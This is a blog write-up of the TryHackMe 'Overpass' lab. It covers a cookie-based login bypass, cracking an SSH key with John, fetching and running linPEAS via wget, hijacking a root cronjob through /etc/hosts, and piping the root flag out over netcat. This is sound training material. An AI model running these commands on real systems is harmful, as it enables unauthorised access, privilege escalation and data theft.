TryHackMe - Overpass (Easy)

TryHackMe - Overpass (Easy)

What happens when some broke CompSci students make a password manager?


Welcome to my third write-up on the Road to OSCP series. With this box we will be learning about broken authentication, cronjobs and linpeas! Link to the room:


Like always, we will make use of nmap to discover what ports are open in the machine:


It looks like we have for third time in a row ports 22 and 80 open. Let’s dive right into the website then!

Port 80



Looking at the website code I found a funny easter egg worth sharing with you!


I pressume they are using Caesar’s Cipher or some sort of ROT.


I got really excited about having a binary to disassemble and went full on revese-engineering the Linux ELF and looking into the source code we are provided with written in Go, but I was hitting a dead end, since there was nothing there for us to find. By the way, the encryption they use is actually ROT-47. Haha.


Eventually, thinking of the room, I remembered I read it was easy level, so I decided to step back, breathe, and look at the hint. Then I learnt I went too fast to try and look at the guts of the binary: we have to actually find a Top10 OWASP vulnerability (big facepalm time):


I didn’t really feel like using Gobuster so I tried wild guessing the admin portal and… Well, it’s a no brainer it was /admin. Here we have the login site.

admin area


Going top-bottom the Owasp Top Ten, in the top 1 we have SQLi, which I tried to perform but we will not be covering it on this write-up, and then the second of the list is “Broken authentication” which did give results.

If we look at the source code in the login site, we can see some JavaScript doing the following to the login() method whenever we press the submit button or hit enter:

function onLoad() {
    document.querySelector("#loginForm").addEventListener("submit", function (event) {
        //on pressing enter
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
    } else {
        window.location = "/admin"

If we analyse it carefully, we can spot the if/else statement has a vulnerability. The if will return Incorrect credentials when we try to login with the wrong password, however, if we look up, the statusOrCookie is awaiting response from the server to check whether we have been introduced the correct password. If we are successful then, the else statement will give us a Session cookie and let us through. We can easily bypass this by typing in the devtools console:

Cookies.set("SessionToken", "")

Press enter, and we are in.

broken auth

Port 22

First flag

Now that we have been granted with a private RSA key, we can use it to jump to the port 22. However, we will need the password for it! Luckily our friend John The Ripper comes to our rescue.

  1. Grab the RSA key and save it to your machine.
  2. You can’t call John straight away to crack the password. If you have the jumbo package from John, you can directly call the python converter so that John can understand the key. I’m using an instance based in Kali so I have it in the default directory of the distro /usr/share/john/
  3. Only then, you have a John compatible hash for it to rip it off. Run John with john <wordlist> <hash>.

Now that we have the password, let’s use the password!

ssh -i id_rsa james@<machine_ip>


Privilege Escalation


There is a very interesting cronjob running as root:


Let’s check if we can find that website. First thing is looking at the hosts file (/etc/hosts/).


We see it’s running in the local machine. Maybe we can find the html and modify it? For this I set up a server in my attacking machine from which I can download a linPEAS script to quickly enumerate the box.

Attacking machine:

python -m SimpleHTTPServer 8080

Victim machine:

cd /tmp/; wget <tun0_ip>:8080/; chmod +x; ./ 2>/dev/null > enum.txt; cat enum.txt | less -r

Then, checking at the processes running, we can spot where the website is being run from:

webpage found

Since we can’t access the TryHackMe user, we will go back to the idea of the hosts file.

hosts permissions

We have read and write access with our current user so we can go ahead and substitute the loopback IP address with our VPN address, and right like we did with the linpeas script, we will boot a server in our machine to act as a malicious hook for the cronjob to grab the arbitrary script we will be serving and pipe it to bash for us.

Finishing off!

At this point in time we can really do anything that comes into our minds. Any script we code will be executed by root, so this section is really up to you, like creating a new user with root access, moving the root folder anywhere else, etc. Since TryHackMe gave away the name of the file containing the flag and getting it is our ultimate goal in this challenge, I will cat it out right to a listener I will set up for the occasion:

Attacker machine: nc -lvnp 5555

Victim machine’s script:

cat /root/root.txt | nc 5555

root flag


References and further reading

Project Top Ten team, 2017-2020. OWASP® Foundation - OWASP Top Ten. [Online]
Available at:
Last visited on 20 January 2021

Project Top Ten team, 2017. OWASP® Foundation - Broken Authentication. [Online]
Available at:
Last visited on 20 January 2021

© 2022 Subtle Labs. All rights reserved. Made with love and coffee from somewhere near Edinburgh, UK.